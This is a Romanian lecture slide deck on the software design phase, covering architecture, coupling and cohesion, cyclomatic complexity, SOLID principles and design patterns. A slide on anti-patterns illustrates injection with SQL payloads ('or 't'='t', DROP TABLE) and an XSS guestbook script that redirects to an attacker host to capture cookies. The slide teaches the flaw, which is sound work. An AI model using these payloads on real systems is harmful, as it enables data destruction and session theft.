Faza de proiectare

Ingineria programării
4. Faza de proiectare
Florin Leon
Universitatea Tehnică „Gheorghe Asachi” din Iași
Facultatea de Automatică și Calculatoare
http://florinleon.byethost24.com/curs_ip.htm
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Faza de proiectare
1. Introducere
2. Arhitectura software
3. Proiectarea modulelor
4. Metrici de proiectare
5. Principii de proiectare
6. Șabloane de proiectare
7. Concluzii

4
Simplitate și complexitate
 Sunt două moduri de a proiecta un produs software.
Primul este de a-l face atât de simplu încât este evident
că nu există deficiențe. Al doilea este de a-l face atât de
complicat încât nu există deficiențe evidente. Prima
metodă este mult mai dificilă. (Hoare, 1981)

5
Proiectarea și programarea
 Lipsa unei proiectări coerente conduce la
scrierea de cod haotic
 Cu cât te apuci mai repede să scrii cod,
cu atât termini mai târziu
 Programarea are și elemente de proiectare
 Programarea este un act creativ, nu mecanic
 Verifică deciziile de proiectare și umple golurile

6
Nivelurile proiectării
 Arhitectura sistemului
 Identificarea subsistemelor principale și a modului în
care comunică acestea
 Are un impact major asupra performanțelor și
caracteristicilor sistemului
 Module / componente
 Partiționarea subsistemelor (un modul poate însemna
un namespace, un pachet, o bibliotecă de funcții etc.)
 Interfețele publice (contracte)

7
Nivelurile proiectării
 Clase și tipuri de date
 Proiectare mai puțin formală, mai ușor de schimbat
 Tot trebuie să existe o fază distinctă de proiectare
 Funcții / metode
 Mai degrabă un exercițiu mental decât o procedură
documentată
 Proiectarea explicită este necesară pentru algoritmi
deosebiți

8
Calitatea proiectării
 Presiunea comercială
 Nu este niciodată timp să se
proiecteze corect, dar e întotdeauna
timp să se proiecteze de două ori
 Codul proiectat corect este:
 Mai ușor de scris
 Mai ușor de înțeles
 Mai ușor de corectat
 Cu mai puține defecte
(erorile nu sunt ascunse)
 Mai ușor de extins

9
Proiectarea corectă: întrebări
 Pentru orice problemă există mai multe variante de
proiectare
 Va funcționa?
 Deseori apar probleme neprevăzute
 Este completă?
 Abia când se încearcă implementarea soluției se înțelege de fapt
problema
 Este cea mai bună soluție?
 Este suficient de bună?
 Pentru orice problemă se fac compromisuri
 Performanțele se pot observa doar când sistemul este funcțional

10
Compromisuri
 Extensibilitate vs. simplitate
 Niveluri suplimentare de generalitate
 Eficiență vs. claritate
 Creșterea cuplării pentru evitarea accesului indirect
 Sistemele optimizate sunt mai puțin clare
 Număr de trăsături vs. efort de dezvoltare
 Mai multe trăsături au nevoie de mai mult efort
 Prioritizarea depinde de cerințele proiectului

11
Abordarea recomandată
 Iterativă
 Proiectare incrementală
 Prudentă
 Pași mici, număr limitat de decizii, localizarea erorilor
 Realistă
 Aplicarea metodologiilor dar și utilizarea experienței
 Rezultatul depinde de calitatea specificațiilor, experiența echipei
și rigoarea aplicării procedurilor
 Informată
 Trebuie înțelese complet cerințele și principiile problemei
 Altfel, se poate rezolva altă problemă

13
Arhitectura
 Orice sistem are o arhitectură
 Chiar dacă nu este planificată
 Lipsa unei arhitecturi corecte conduce deseori la
eșecul proiectului
 Arhitectura reprezintă proiectarea de nivel înalt
 Prezentare generală, macro, a sistemului
 Detaliile de implementare sunt ascunse

14
Componente și conexiuni
 Componentele
 Unitățile logice ale sistemului: clase, procese,
biblioteci, baze de date etc.
 În mod ideal, o componentă îndeplinește un singur
scop (sau activitate)
 Conexiunile
 Apeluri de funcții, evenimente, mesaje ale sistemului
de operare sau din rețea (sincrone sau asincrone)
 Unele comunicații sunt indirecte (de exemplu, prin
resurse partajate: variabile, fișiere)

Rolul arhitecturii
 Identifică modulele cheie și módul în care interacționează acestea
 Nu cum funcționează intern
 Identifică interfețele importante
 Clarifică rolurile și responsabilitățile subsistemelor
 Primul pas în trecerea de la domeniul problemei către domeniul soluției
 De exemplu: la analiză – sistem distribuit; la proiectare – număr de mașini
și cum își vor împărți sarcinile
 Compromis:
 Informații în arhitectură vs. flexibilitate în fazele ulterioare
 Arhitectura influențează:
 Modul de lucru al echipelor (3 straturi ⇒ 3 echipe)
 Evoluția produsului (reflectă capacitatea de adaptare a produsului la noi
cerințe)
15

16
Calitatea arhitecturii
 Simplă, ușor de înțeles, reprezentabilă vizual
 Clară, fără ambiguități
 Număr optim de componente
 Prea multe: prea multe detalii
 Prea puține: fiecare componentă face prea mult
(dificil de extins și întreținut)
 Flexibilă, extensibilă, dar nu exagerat de generală
 Consecință: aspect estetic plăcut

Interfețele
 Modúl: parte separabilă logic a unui program
 Legea lui Conway: structura software-ului poate urma structura echipei
 Interfața unui modul: fațada publică în spatele căreia sunt
ascunse detaliile interne
 Nu se referă doar la conceptul de interfață (interface) din programare
 Tipuri de interfețe: biblioteci, clase, funcții, structuri de date,
interfețe cu sistemul de operare, protocoale de comunicare
în rețea
 API (“Application Programming Interface”) = mulțimea de
operații disponibile
 Proiectarea defectuoasă nu pune operațiile în locul potrivit
18

Cuplarea
 Forța interconexiunilor (interdependenței) dintre
module
 Cât trebuie să știm despre un modul pentru a înțelege
alt modul
 În ce măsură modificările unui modul îl afectează pe
celălalt
19

Niveluri de cuplare
 Cuplare prin conținut
 Cuplare prin structuri comune
 Cuplare prin control
 Cuplare prin marcaj
 Cuplare prin date
20

Cuplarea prin conținut
 Modulele partajează codul: se
poate „sări” dintr-un modul în
codul celuilalt modul
 Limbajele moderne de
programare nu permit acest
lucru
21

Cuplarea prin structuri comune
 Modulele referențiază aceleași structuri de date globale (“common
coupling”) sau aceleași variabile globale (“external coupling”)
22
Structura de date comună
este customer_record

Cuplarea prin control
 Un modul trimite celuilalt modul o variabilă de control
care îi determină fluxul de execuție
23

Cuplarea prin marcaj
 Un modul trimite celuilalt modul o structură de date
ca parametru
24
Structura de date trimisă
este current record

Cuplare prin date
 Un modul trimite celuilalt modul variabile ca parametri
25

 Gradul de cuplare dintre două module depinde
de complexitatea interfațării lor
 Scop: cuplare slabă
 Minimizarea numărului de interfețe ale unui modul
 Minimizarea complexității interfețelor (numărul de
parametri)
 Trimiterea ca parametri numai a câmpurilor necesare
(nu a întregului obiect)
 Evitarea comunicațiilor hibride: date și control
26
Factori ce afectează cuplarea

27
Factori ce afectează cuplarea
Coupling

28
Cuplarea în sisteme OO
 Cuplarea prin interacțiune
 Dintr-o metodă a unei clase se apelează altă
metodă din altă clasă
 Accesarea secțiunilor interne
 De exemplu, conceptul de friend din C++ violează
principiul încapsulării
 Folosirea câmpurilor pentru a stoca date
temporare și nu starea obiectelor
 Metodele comunică direct prin parametri
 Sunt trimise numai date și numai variabilele necesare

29
 Cuplarea prin compunere
 O clasă folosește instanțe ale altor clase
 Câmpuri, parametri: cuplare mai slabă
 Variabile locale (invizibile din exterior): cuplare mai
puternică
 Cuplarea cu o clasă A înseamnă cuplarea
potențială cu toate subclasele lui A

30
 Cuplarea prin moștenire
 Moștenirea poate reduce cuplarea generală din
sistem
 A cuplată cu B, B are subclasele C, D
 Dacă o metodă m este „ridicată” din C și D în B,
A va fi cuplată numai cu B, nu cu C și D
 Pot fi adăugate fără probleme noi subclase ale lui B
 Cuplarea minimă are loc când clasele derivate nu
modifică metodele moștenite, ci doar adaugă noi
câmpuri și metode

31
Coeziunea
 Cât de apropiate sunt elementele aceluiași
modul
 Scop: coeziune puternică
 În general, o coeziune puternică este corelată cu
o cuplare slabă
 Coeziunea unui modul este maximul de
coeziune aplicabil tuturor elementelor
acestuia

Niveluri de coeziune
32
 Coeziune prin coincidență
 Coeziune logică
 Coeziune temporală
 Coeziune procedurală
 Coeziune comunicațională
 Coeziune secvențială
 Coeziune funcțională

Coeziunea prin coincidență
 Module create doar pentru a evita
duplicarea codului din mai multe secțiuni
 Module rezultate prin partiționarea
artificială a altor module (de exemplu,
conform criteriului ca un modul să
respecte un număr maxim permis de
instrucțiuni)
 Combinarea mai multor module pentru a
reduce numărul modulelor din program
sau pentru a respecta un număr minim de
instrucțiuni pe modul
33

Coeziunea logică
 Un modul conține funcții care
aparțin aceleiași clase logice,
adică toate elementele sale
realizează operații similare
 De exemplu, tratarea tuturor
intrărilor sau ieșirilor
 Este nevoie de o variabilă de
control care să determine ce
instrucțiuni se execută în fiecare
caz (informații hibride, cuplarea
crește)
34

Coeziunea temporală
 Coeziunea temporală poate fi
privită ca un tip de coeziune
logică în care timpul este
elementul comun
 Modulele conțin funcții asociate
în timp
 De obicei, sunt module de
inițializare sau finalizare
 Elementele sunt executate în
general toate împreună
35

Coeziunea procedurală
 Modulele conțin funcții care aparțin
unei unități procedurale comune
 De exemplu, unele părți dintr-un
modul sunt puse într-un nou
modul: un bloc de decizie mai
mare sau un bloc iterativ sunt
plasate într-o altă metodă
 Un modul poate avea doar părți
dintr-o funcție completă
 Un alt exemplu este funcția main,
care execută celelalte funcții într-o
anumită ordine (conform unei
proceduri)
36
Cuvântul and din numele
funcției ne spune că aceasta
are două scopuri, nu unul
singur, cum ar fi de dorit

Coeziunea comunicațională
 Toate elementele unui modul
operează cu aceleași date
 De exemplu: găsește titlul unei
cărți, respectiv autorul, editura,
prețul
 Acest tip de coeziune este
acceptabil, dar are
dezavantajul că asupra
acelorași date se pot efectua
operații neînrudite
37

Coeziunea secvențială
 Un modul conține elemente
care depind de prelucrarea
anterioară a altor elemente
 Într-un modul, ieșirea unui
element este intrarea altui
element
38
Se calculează mai întâi total-purchases
și apoi discount

Coeziunea funcțională
 Toate elementele unui modul
sunt utilizate pentru efectuarea
unei singure funcții
39

Comparație
40

41
Coeziunea în sisteme OO
 Coeziunea metodelor
 Fiecare metodă implementează o funcție clar definită (coeziune
funcțională)
 Coeziunea claselor
 De ce sunt împreună atributele și operațiile în aceeași clasă
 O clasă reprezintă un concept
 Dacă nu, metodele și câmpurile pot fi partiționate în mai multe clase
 Coeziunea moștenirilor
 Coeziunea este mare dacă ierarhia urmărește generalizarea-
specializarea unui concept
 Coeziunea este mică dacă scopul ierarhiei este doar partajarea
codului

43
Metrici de proiectare
 Se aplică doar pentru proiectarea detaliată
 Utile mai ales în faza de implementare
 Metrici:
 Complexitatea ciclomatică
 Metrica de coeziune

44
Complexitatea ciclomatică
 Ideea de bază:
 Considerând două programe cu aceeași dimensiune, programul
cu mai multe instrucțiuni de decizie este probabil mai complex
 Complexitatea ciclomatică: M = e – n + 2p
 n = numărul de noduri
 e = numărul de arce
 p = numărul de componente conexe (pentru un modul, este 1)
 Numărul ciclomatic: V(G) = e – n + p
 Dacă se adaugă un arc de la nodul final la nodul inițial,
astfel încât graful să devină tare conex, M = V(G)

45
Exemplul 1
M = 10 – 7 + 1 = 4

Exemplul 2
 M = 7  M = 3
46

47
Efecte
 Complexitatea ciclomatică a unui modul este
numărul de decizii + 1
 Recomandare: M < 10
 M este o estimare a numărului de căi care
trebuie testate în faza de testare
 Această metrică este corelată cu dimensiunea
modulului și cu numărul de defecte

48
Metrica de coeziune
 Ideea de bază este de a vedea cum sunt folosite
variabilele unui modul de către codul modulului
 Se construiește graful fluxului de control al modulului
 I este nodul inițial
 T este nodul final
 Fiecare nod Si este adnotat cu variabilele pe care le
referențiază
 Se utilizează acest graf pentru a calcula mulțimile de
referințe pentru fiecare variabilă: Ri = mulțimea de noduri
care referențiază variabila i a modulului

49
Metrica de coeziune
 Pentru fiecare Ri , se calculează coeziunea:
 unde:
 dim(S) este numărul tuturor căilor independente de la I la T
care includ cel puțin o instrucțiune din mulțimea S
 G este mulțimea tuturor instrucțiunilor din modul care
referențiază cel puțin o variabilă
 Dacă S = G, atunci dim(S) este complexitatea ciclomatică a
modulului
 Altfel, dim(S) este numărul de decizii din mulțimea de instrucțiuni
+ 1 (complexitatea ciclomatică a mulțimii)

50
Metrica de coeziune
 Coeziunea unui modul cu n variabile este:
 Dacă un modul are o coeziune puternică,
majoritatea variabilelor vor fi utilizate de
instrucțiuni în majoritatea căilor din modulul
respectiv

51
Exemplu (același program)

.NET Reflector
52

.NET Reflector
53

55
Principii fundamentale
 Principiul deschis-închis
 Principiul substituției
 Principiul inversiunii dependențelor
 Principiul responsabilității unice
 Principiul segregării interfețelor
 SOLID
 S – Single responsibility principle
 O – Open-closed principle
 L – Liskov substitution principle
 I – Interface segregation principle
 D – Dependency inversion principle

Principiul deschis-închis
 O clasă trebuie să fie deschisă pentru
extindere dar închisă pentru modificări
(Bertrand Meyer, 1998)
56

Exemplu: problemă
57
Se adaugă
alte forme
geometrice

Exemplu: soluție
58

Principiul substituției
 Subclasele trebuie să fie substituibile claselor
lor de bază (Barbara Liskov, 1997)
59

Exemplul 1: rața electrică
60

Exemplul 2: cercul și elipsa
(cazul 1)
61
Generalizarea este corectă:
cercul este o elipsă cu razele
egale

Cazul 1
62

Cazul 1
63
ec este o elipsă, dar
nu are efect Stretch

Cazul 2
64
notație inconsistentă
(de fapt, conceptul de
rază unică nu este
aplicabil unei elipse)

Cazul 2
65

Cazul 2
66
aria cercului ce este incorectă
(valoarea corectă este 12.56)

Soluția 1
67

Soluția 1
68

Soluția 1
69

Soluția 2 (clase imutabile)
70

Soluția 2
71

Principiul inversiunii dependențelor
 Abstracțiunile nu trebuie să depindă de
detalii. Detaliile trebuie să depindă de
abstracțiuni
 Clasele de nivel înalt nu trebuie să depindă
de clasele de nivel scăzut. Ambele trebuie să
depindă de abstracțiuni
72

Exemplu: problemă
73
Manager (clasa de nivel
înalt) depinde de Worker
(clasa de nivel scăzut)
Dacă se adaugă un nou tip
de muncitor, SuperWorker,
trebuie modificată clasa
Manager

Exemplu: soluție
74

Principiul responsabilității unice
 O clasă trebuie să aibă un singur motiv să se
modifice
 O clasă trebuie să facă un singur lucru
75

Exemplu: problemă
76
Customer ar trebuie să se ocupe de logica de lucru cu baza de date,
nu de înregistrarea excepțiilor

Exemplu: soluție
77

Principiul segregării interfețelor
 Mai multe interfețe specifice pentru clienți
sunt mai bune decât o singură interfață de uz
general
 Un client nu trebuie forțat să depindă de
metode pe care nu le folosește
78

Exemplu
79

Exemplu
80

81
Principii suplimentare
 Principiul echivalenței lansare-reutilizare
 Granula pentru reutilizare este granula pentru lansare
 Clasele reutilizabile trebuie grupate
 Principiul închiderii comune
 Clasele care se modifică împreună trebuie grupate împreună
 Clasele trebuie grupate astfel încât coeziunea să fie mare
 Principiul reutilizării comune
 Clasele care nu sunt reutilizate împreună nu trebuie grupate
împreună
 Clasele care se modifică determină o nouă versiune a întregului
pachet

82
Euristici de proiectare
 Dimensiunea unui modul este o indicație asupra
complexității acestuia
 Module prea mari (≈ 100 linii) – partiționate
 Module prea mici (≈ 2-3 linii) – combinate
 Doar ținând cont de cuplarea și coeziunea configurației
rezultate
 Fan-in (numărul de module care îl folosesc) și
fan-out (numărul de module folosite)
 Fan-in-ul trebuie maximizat
 Fan-out-ul trebuie să fie < 5-6

83
Caracteristicile unei proiectări
de calitate
 Simplitatea
 Cea mai importantă
 Dimensiune redusă a codului
 Codul bine proiectat pare evident, dar e greu de realizat
 Eleganța
 Aspect estetic
 Fluxul de control este clar
 Fiecare componentă adaugă ceva distinct
 Lucrurile asemănătoare sunt asociate
 Schimbările sunt localizate
 Extensibilitatea
 Structură logică și maleabilă
 Interfețe, plug-in-uri dinamice
 Echilibru: ce trebuie acum – ce va trebui în viitor – ce ar putea să
trebuiască în viitor

84
Caracteristicile unei proiectări
de calitate
 Modularitatea
 Calitatea descompunerii
 Lipsa duplicărilor
 Copy-paste, apoi schimbările nu se fac în toate cazurile
 Reinventarea roții
 Generalizare: superclase, metode cu parametri
 Portabilitatea
 Nu trebuie compromisă calitatea codului dacă portabilitatea nu este
necesară
 Abstractizarea secțiunilor neportabile (care depind de SO sau hardware)
 Proiectare idiomatică
 C++: supraîncărcarea operatorilor
 C#: proprietăți
 Proiectare bine documentată: specificații ale arhitecturii, API

86
Șabloane de proiectare
 Își au originea în ingineria construcțiilor și arhitectură
 Christopher Alexander, arhitect
 Notes on the Synthesis of Form (1964)
 A Pattern Language: Towns, Buildings, Construction (1977)
 Procesul inventării soluțiilor care manifestă o nouă ordine
și organizare ca răspuns la funcționalitate
 Un șablon este suficient de general pentru a fi
aplicat în mai multe situații, dar suficient de concret
pentru a fi util în luarea deciziilor

87
Șabloane software
 Soluții generale reutilizabile la probleme care
apar frecvent în proiectare
 Sunt descrieri despre cum se poate rezolva o problemă
 Nu pot fi transformate direct în cod
 Un șablon este o soluție la o problemă într-un
context
 Contextul: situațiile recurente în care se aplică șablonul
 Problema: scopurile și constrângerile
 Soluția: regula de proiectare

88
Conținutul unui șablon
 Numele
 Problema: obiectivele
 Contextul: pre-condițiile
 Forțele: constrângerile
care indică un
compromis, de unde și
apare nevoia de șablon
 Soluția: cum se ating
obiectivele
 Contextul rezultant
 Justificarea: cum
funcționează intern și
de ce (soluția – extern)
 Șabloanele înrudite
 Exemple
 Moduri de utilizare
cunoscute

89
Tipuri de șabloane
 Șabloane arhitecturale
 Nivelul arhitecturii
 Șabloane de proiectare
 Nivelul modulelor/claselor
 Idiomuri
 Nivelul limbajului de programare

90
Arhitectura multi-strat
poate fi la rândul
său multi-strat

91
Arhitectura multi-nivel
Multi-strat = descompunere fizică:
dll, exe, mașini separate
Multi-nivel = descompunere logică:
namespace-uri, clase

Arhitectura MVC
 Model-Vizualizare-Controlor (engl. “Model-View-Controller”, MVC)
92

Varianta clasică
 Modelul: conține datele, starea și logica aplicației. Deși nu
cunoaște Controlorul și Vizualizarea, furnizează o interfață
pentru manipularea și preluarea stării și poate trimite notificări cu
privire la schimbarea stării. De obicei primește cereri privind
starea datelor de la Vizualizare și instrucțiuni de modificare a
datelor sau stării de la Controlor
 Vizualizarea: afișează Modelul într-o formă potrivită pentru
utilizator. Pentru un sigur Model pot exista mai multe Vizualizări,
de exemplu o listă de elemente poate fi afișată într-un control
vizual precum ListBox, într-o consolă sau într-o pagină web
 Controlorul: primește intrările de la utilizator și apelează obiectele
Modelului pentru a prelucra noile informații
93

Variante modernă
 Model-Vizualizare-Prezentator (engl. “Model-View-Presenter”, MVP)
 Stratul de prezentare constă în obiecte de Vizualizare iar logica aplicației
constă în obiecte de control (Prezentator/Controlor)
 Pentru fiecare obiect de vizualizare există un obiect de control
94

95
Arhitectura bazată pe componente
 Asamblarea de aplicații din componente
prefabricate
 Interfețele trebuie bine definite
 Interface Definition Language, IDL
 .NET: determinarea interfețelor din implementare
 Asigură cuplarea slabă între componente
 Diferite tipuri de comunicare între componente
 COM, CORBA, JavaBeans

Arhitectura orientată pe servicii
 Funcționalitățile sunt separate în
unități distincte, numite servicii,
accesibile într-o rețea
 Pot fi combinate și reutilizate
 Scopul este tot cuplarea slabă
 Interfațarea este deosebit de
importantă
 Furnizorii de servicii se pot
înregistra la un broker, iar
consumatorii caută serviciile dorite
 Mai mulți furnizori pot oferi același
serviciu: calitate, reputație
 Servicii web: REST, SOAP
96

97
Pipeline
 Un lanț de elemente de prelucrare în care ieșirea unuia
corespunde cu intrarea următorului
 De exemplu: dir | sort | more
 Transformările sunt de obicei incrementale
 Formatul de date este de obicei foarte simplu, deseori
text
 Tratarea erorilor este mai dificilă
 Utilizări:
 Browsere
 Aplicații de grafică
 Interfețe grafice pentru programe consolă portabile

Pipeline
 Programare funcțională, F#
 |> trimite rezultatul unei funcții următoarei funcții
enumFilesRec
(filterOutPaths ["c:Windows";"c:ProgramData";"c:Program Files"])
(filterExt [".jpg"; ".gif"])
"c:Multimedia"
|> Seq.groupBy (fun pth -> (Path.GetExtension pth, (FileInfo pth).Length))
|> Seq.filter (fun (_, s) -> (Seq.length s) > 1)
|> Seq.map (fun (_, sq) -> [for path in sq -> path])
|> Seq.map groupEqualFiles
|> Seq.map filterOutSingletons
|> Seq.collect Seq.ofList
|> Seq.iter (fun lst -> printfn "%A" lst)
http://bartoszmilewski.com/2011/01/05/using-f-sequences-and-pipelines/ 98

99
Platforma
 engl. “framework”
 Pentru o bibliotecă tradițională, programul
apelează funcțiile din bibliotecă
 Într-o platformă, apelul codului client este făcut
de către platformă
 De exemplu, platforma multi-agent JADE

Blackboard (tablă)
100
 Propusă inițial pentru rezolvarea unor probleme
complexe, insuficient definite
 În general, folosită pentru unele aplicații legate de
inteligența artificială, de exemplu:
 Sisteme militare de detectare și urmărire a obiectelor (C4ISTAR)
 Vizualizare interactivă a datelor de la sateliți (RADARSAT-1)
 Recunoașterea optică a caracterelor (Adobe Acrobat Capture)
 Interpretarea datelor de la senzori, “data fusion”
 Roboți mobili, planificare, învățare simbolică

Blackboard (tablă)
 Presupune existența mai multor „surse de
cunoaștere” specializate pe domenii
diverse
 Mai întâi, pe tablă „se scriu” specificațiile
problemei
 Fiecare sursă de cunoaștere (specialist)
caută ocazia de a contribui la rezolvarea
problemei
 Când cineva scrie pe tablă ceva care
permite unui specialist să contribuie,
acesta scrie la rândul său soluția la
subproblema pe care o poate rezolva
 Procesul de adăugare a contribuțiilor pe
tablă continuă până când problema este
rezolvată
101

102
Șabloane de proiectare
 Erich Gamma, Richard Helm, Ralph Johnson,
John Vlissides (“Gang of Four”, GoF)
 Elements of Reusable Object-Oriented Software (1994)
 Trei clase:
 Șabloane creaționale: instanțierea
 Șabloane structurale: compunerea
 Șabloane comportamentale: comunicarea

103
Clasificare
Le vom detalia în următoarele 6 cursuri

104
Idiomuri
 Incrementarea unui contor
 Basic: i = i + 1
 C: i += 1 / i++ / ++i
 Interschimbarea a două valori
 C: temp = a; a = b; b = temp;
 Python: a, b = b, a
 Perl: ($a, $b) = ($b, $a)

105
Anti-șabloane
 Abstraction inversion
 Input kludge
 Permite, de exemplu,
code injection (vezi slide-ul următor)
 Interface bloat
 Magic pushbutton
 Race hazard
 Stovepipe system
 Anemic domain model
 BaseBean
 Circle-Ellipse problem
 God object
 Object orgy
 Poltergeists
 Yo-yo problem
Pentru explicații, vezi suportul de curs

SQL / Code Injection
 statement = "SELECT * FROM users WHERE name =
" ' + userName + ' ";"
 userName = a' or 't'='t
 ⇒ SELECT * FROM users WHERE name ='a' OR 't'='t';
 userName = a'; DROP TABLE users;
 ⇒ SELECT * FROM users WHERE name = 'a'; DROP TABLE users;
 Mesaj pe “guestbook”-ul unui site web:
 Nice site! <script>document.location='http://attacker.nu/cookie.cgi?'</script>
106

107
Concluzii
 Faza de proiectare arată CUM dorim să construim
 Se referă la domeniul soluției
 Există trei tipuri de șabloane de proiectare,
corespunzătoare nivelurilor de generalitate ale
proiectării:
 Șabloane arhitecturale (pentru proiectarea arhitecturii)
 Șabloane de proiectare (pentru proiectarea modulelor)
 Idiomuri (pentru proiectarea detaliată)
 Capacitatea de a proiecta bine vine din respectarea
principiilor de proiectare și din experiență

Faza de proiectare

Recommended

Recommended

More Related Content

What's hot

What's hot (7)

Similar to Faza de proiectare

Similar to Faza de proiectare (20)

More from Florin Leon

More from Florin Leon (17)

Faza de proiectare